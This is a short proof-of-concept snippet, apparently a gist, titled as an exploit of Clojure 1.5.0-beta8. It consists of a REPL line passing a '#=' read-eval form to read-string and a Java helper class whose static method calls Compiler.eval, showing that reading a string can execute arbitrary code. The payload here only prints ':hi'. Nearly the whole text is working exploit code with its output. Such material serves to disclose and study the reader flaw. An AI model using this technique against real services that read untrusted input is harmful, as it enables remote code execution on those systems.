exploiting Clojure 1.5.0-beta8

repl.clj

=> (read-string "#=(cemerick.SomeMap/eval (println :hi))")
:hi
nil

SomeMap.java

package cemerick;

public class SomeMap extends clojure.lang.PersistentArrayMap {
    public static Object eval (Object form) {
        return clojure.lang.Compiler.eval(form);
    }
}